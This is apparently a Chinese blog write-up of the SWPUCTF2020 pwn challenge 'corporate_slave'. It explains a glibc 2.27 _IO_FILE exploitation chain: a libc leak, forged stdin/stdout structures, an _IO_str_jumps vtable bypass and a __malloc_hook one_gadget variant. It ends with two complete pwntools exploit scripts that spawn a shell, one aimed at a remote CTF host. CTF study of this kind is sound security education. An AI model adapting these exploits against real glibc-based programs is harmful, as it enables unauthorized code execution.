MENU

SWPUCTF2020 corporate_slave _IO_FILE组合利用

December 21, 2020 • Read: 345 • Pwn

题目来源:

感谢cnitlrt师傅的帮助
这道题目是来自于SWPUCTF2020的第三道pwn题,在比赛的时候没有做出来。
这道题目出的真的非常好,做完之后学到了很多
因为之前一直没有做过类似的题目,比赛的时候自然也没有做出来,不过好在有cnitlrt师傅的帮助,可算是做出来了,而且从那里学到了很多新知识。

corporate_slave

题目特点:

1.只有malloc
2.可以对任意位置(申请位置后)写一字节的NULL
3.保护全开

过程分析:

这道题我分为两个部分
1.泄露libc
2.getshell

第一部分:泄露libc
利用的是_IO_FILE leak,这个是之前接触到过的。
只不过之前一直用的是修改_IO_write_base末尾字节为0x58,在这里因为无法修改_flags为0xfbad1800,所以无法用这个第一种方法。
而且我们没有办法像之前一样踩出libc的地址(main_arena + 88),所以之前的方法直接拿来用是不行的,但是我们注意到申请内存没有设置上限,所以如果我们申请0x200000 size的chunk,那么这个chunk会用mmap来分配堆块,这时候可以用vmmap观察一下申请出来内存和libc对应的偏移,发现这个偏移值是固定的,所以我们可以利用这个方法来往libc上的指定位置写0字节
结合之前所学的第二种方法,也就是修改_IO_read_end == _IO_write_base,我们分别往这两个的末尾写00,这种修改方法也可以实现泄露。
最后成功leak,不过这里leak出了一点小状况,好像是因为前两个leak出来的内容符号被略去了,所以我用LibcSearcher都找到正确的libc,所以最后读取了第三个0x7f,才成功leak libc。

第二部分:getshell
第一部分还是比较容易的,难点是在第二部分。
第二部分分为两种解法,一种是二次写入,另一种是一次写入后第二次打__malloc_hook。
这里着重讲解第一种解法,也就是官方wp的解法,如果想要用第二种解法的可以参考exp2的内容。

1.修改_IO_buf_base
由于我们只能写一字节的00,所以我们这里的方法是利用fgets。
往_IO_buf_base的末尾写00,结果发现正好指向了stdin

2.第一次写入
经过了1操作后,我们控制了stdin结构体,但是实际上只控制了0x84字节,这是因为_IO_buf_end的末尾是0x84。
所以我们距离用于getshell的stdout还有一些距离,由于这次可以写入任意内容,所以选择再次写入_IO_buf_base,并且调整_IO_buf_end,前者指向stdout,后者指向要写入位置的结尾。

3.第二次写入
经过了2操作后,我们控制了stdout结构体,而且是完全控制,我们这里选择构造stdout结构体来完成getshell。
现在讲一讲getshell的思路和流程。
之前利用一般是用_IO_flush_all_lockp,但是这里用的是puts
通过_IO_puts->_IO_default_xsputn->_IO_file_overflow
伪造vtable,使得执行_IO_file_overflow的时候getshell。
但是由于题目给出的libc版本是在2.27下的,所以直接修改vtable是不可以的,不过有相应的绕过方法,那就是利用_IO_str_jumps。
利用方法是_IO_str_jumps中有_IO_str_overflow_IO_str_finish两个函数,这两个函数都会调用一个在fp指针(可控)附近的一个位置。

前者调用的是

(*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

后者调用的是

(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);

_IO_strfile 结构

typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;
struct _IO_streambuf
{
  struct _IO_FILE _f;
  const struct _IO_jump_t *vtable;
};
struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer_unused;
  _IO_free_type _free_buffer_unused;
};

_IO_streambuf 和 _IO_FILE_plus类似,所以根据结构可以看出,调用的这两个指针在内存上的位置正好就相邻vtable,如果要利用_free_buffer那就就要修改vtable + 0x10的位置,如果要利用_allocate_buffer那就要修改vtable + 0x8的位置。
一般来说修改_free_buffer的利用式要比修改_allocate_buffer来的方便一些,但是在这道题中vtable + 0x10的位置正好对应着程序存放stdout指针的位置,如果利用前者,那么会覆盖掉stdout的指针,那就会报错了。所以我们只能利用后者来操作。

_allocate_buffer利用的构造:

fp->_flags = 0
fp->_IO_buf_base = 0
fp->_IO_buf_end = (bin_sh_addr - 100) / 2
fp->_IO_write_ptr = 0xffffffffffffffff
fp->_IO_write_base = 0
fp->_mode = 0

有一点要注意的是,如果 bin_sh_addr 的地址以奇数结尾,为了避免除法向下取整的干扰,可以将该地址加 1。另外 system("/bin/sh") 是可以用 one_gadget 来代替的,这样似乎更加简单。

_free_buffer利用的构造:

fp->_mode = 0
fp->_IO_write_ptr = 0xffffffffffffffff
fp->_IO_write_base = 0
fp->_IO_buf_base = bin_sh_addr
fp->_flags2 = 0
fp->_mode = 0

这里还遇到了一个小问题,我的ubuntu18.04上的glibc,不知道是版本更新还是什么原因,大版本是glibc2.27的,但是在两者对应的代码位置,都不是利用_allocate_buffer和_free_buffer来调用的,而是直接访问malloc@plt和free@plt,不知道是什么原因,我最后成功测试的时候是在ubuntu 16.04下,用师傅推荐的gfree-libc来替换libc版本,不过这个好像只有他提供编译的libc版本可以成功源码调试,如果是像这道题一样提供服务器libc的话,只能挂载运行,而不能源码调试,不过这个应该只算是个小问题,大部分版本应该都是正确的。

之后还需要解决一些小问题,也正是这些问题卡了我好一段时间
1.结构中的lock(+0x88)要为一个可访问的指针,如果不是的话有个cmp那里会报错,这一点在AngleBoy的视频中也提到过。
2.这道题只能利用_allocate_buffer。
3._IO_str_jumps的符号内容不存在(根据CTF权威指南中所说,该符号在strip后会丢失),解决方法看exp。

EXP

利用二重写入

from pwn import *

context.log_level = "debug"
r = process('./corporate_slave')
libc = ELF('./libc.so.6')

def malloc(alloc_size, read_size, data="a"):
    r.sendline("1")
    r.sendline(str(alloc_size))
    r.sendline(str(read_size))
    r.sendline(data)

def get_IO_str_jumps():
    IO_file_jumps_offset = libc.sym['_IO_file_jumps']
    IO_str_underflow_offset = libc.sym['_IO_str_underflow']
    for ref_offset in libc.search(p64(IO_str_underflow_offset)):
        possible_IO_str_jumps_offset = ref_offset - 0x20
        if possible_IO_str_jumps_offset > IO_file_jumps_offset:
            print possible_IO_str_jumps_offset
            return possible_IO_str_jumps_offset

# change _IO_read_end & _IO_write_base
malloc(0x200000, 0x5ED750 + 0x20 + 0x1)
malloc(0x200000, 0x5ED750 + 0x201000 + 0x10 + 0x1)

file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("file_jumps_addr: " + hex(file_jumps_addr))

libc_base = file_jumps_addr - libc.sym['_IO_file_jumps']
log.success("libc_base: " + hex(libc_base))

system_addr = libc_base + libc.sym['system']
log.success("system_addr: " + hex(system_addr))

stdin_addr = libc_base + libc.sym['_IO_2_1_stdin_']
log.success("stdin_addr: " + hex(stdin_addr))

stdout_addr = libc_base + libc.sym['_IO_2_1_stdout_']
log.success("stdout_addr: " + hex(stdout_addr))

str_jumps_addr = libc_base + get_IO_str_jumps()
log.success("str_jumps_addr: " + hex(str_jumps_addr))

sh_addr = libc_base + libc.search("/bin/sh").next()
log.success("sh_addr: " + hex(sh_addr))

lock_addr = libc_base + 0x3ed8c0
log.success("lock_addr: " + hex(lock_addr))

malloc(0x200000, 0x5ED750 + 0x201000 * 2 - 0xD60 + 0x38 + 0x1)
# p64(stdin_addr + 132) * 2

stdout_payload = p64(0) # _flags = 0 ( (fp->_flags & _IO_USER_BUF) == 0)
stdout_payload += p64(stdout_addr + 131) * 3  # _flags = 0 _IO_read_ptr _IO_read_end _IO_read_base
# _IO_write_base _IO_write_ptr _IO_write_end (fp->_IO_write_ptr - fp->_IO_write_base == 0xffffffffffffffff)
stdout_payload += p64(0) + p64(0xffffffffffffffff) + p64(0)
# _IO_buf_base _IO_buf_end(arg: 2 * (_IO_buf_end - _IO_buf_base) + 100)
stdout_payload += p64(0) + p64((sh_addr - 100) >> 1)
stdout_payload = stdout_payload.ljust(0x88, '\x00') + p64(lock_addr) # _lock
# vtable = _IO_str_jumps _allocate_buffer = system
stdout_payload = stdout_payload.ljust(0xD8, '\x00') + p64(str_jumps_addr) + p64(system_addr)

stdin_payload = p64(0xfbad208b)
stdin_payload += p64(stdin_addr + 0x84) + p64(stdin_addr) #first write 0x84
stdin_payload += p64(stdin_addr + 131) * 4
stdin_payload += p64(stdout_addr) + p64(stdout_addr + len(stdout_payload)) #second write
stdin_payload = stdin_payload.ljust(0x84, '\x00')

#gdb.attach(r, "b puts")
r.send(stdin_payload + stdout_payload)
r.interactive()

单次写入 + __malloc_hook + __realloc_hook调整栈

from pwn import *

context.log_level = "debug"
#r = process('./corporate_slave')
r = remote('das.wetolink.com', 59173)
libc = ELF('./libc.so.6')

def malloc(alloc_size, read_size, data="a"):
    r.sendline("1")
    r.sendline(str(alloc_size))
    r.sendline(str(read_size))
    r.sendline(data)

def get_IO_str_jumps():
    IO_file_jumps_offset = libc.sym['_IO_file_jumps']
    IO_str_underflow_offset = libc.sym['_IO_str_underflow']
    for ref_offset in libc.search(p64(IO_str_underflow_offset)):
        possible_IO_str_jumps_offset = ref_offset - 0x20
        if possible_IO_str_jumps_offset > IO_file_jumps_offset:
            print possible_IO_str_jumps_offset
            return possible_IO_str_jumps_offset

# change _IO_read_end & _IO_write_base
malloc(0x200000, 0x5ED750 + 0x20 + 0x1)
malloc(0x200000, 0x5ED750 + 0x201000 + 0x10 + 0x1)

file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("file_jumps_addr: " + hex(file_jumps_addr))

libc_base = file_jumps_addr - libc.sym['_IO_file_jumps']
log.success("libc_base: " + hex(libc_base))

system_addr = libc_base + libc.sym['system']
log.success("system_addr: " + hex(system_addr))

stdin_addr = libc_base + libc.sym['_IO_2_1_stdin_']
log.success("stdin_addr: " + hex(stdin_addr))

malloc_hook_addr = libc_base + libc.sym['__malloc_hook']
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))

realloc_addr = libc_base + libc.sym['realloc']
log.success("realloc_addr: " + hex(realloc_addr))

one = [0x4f365, 0x4f3c2, 0x10a45c]
one_gadget = libc_base + one[2]
log.success("one_gadget: " + hex(one_gadget))

malloc(0x200000, 0x5ED750 + 0x201000 * 2 - 0xD60 + 0x38 + 0x1)

hook_payload = p64(one_gadget) + p64(realloc_addr + 6)
stdin_payload = p64(0xfbad208b)
stdin_payload += p64(stdin_addr + 0x84) + p64(stdin_addr) #first write 0x84
stdin_payload += p64(stdin_addr + 131) * 4
stdin_payload += p64(malloc_hook_addr - 0x10) + p64(malloc_hook_addr + 0x10) #second write
stdin_payload = stdin_payload.ljust(0x84, '\x00')

#gdb.attach(r, "b calloc")
r.sendline(stdin_payload + 'a' * 0x8 + hook_payload)
r.recv(timeout=1)
malloc(1, 1)
r.interactive()

参考链接:
[1]CSDN - 攻防世界PWN之bufoverflow_b题解 https://blog.csdn.net/seaaseesa/article/details/104391405
[2]SWPUCTF2020 官方WP https://wllm1013.github.io/2020/12/09/SWPUCTF2020-%E5%AE%98%E6%96%B9WP/#corporate-slave
[3]CTF All in One https://firmianay.gitbook.io/ctf-all-in-one/4_tips/4.13_io_file#_io_str_jumps

Last Modified: December 31, 2020
Archives QR Code Tip
QR Code for this page
Tipping QR Code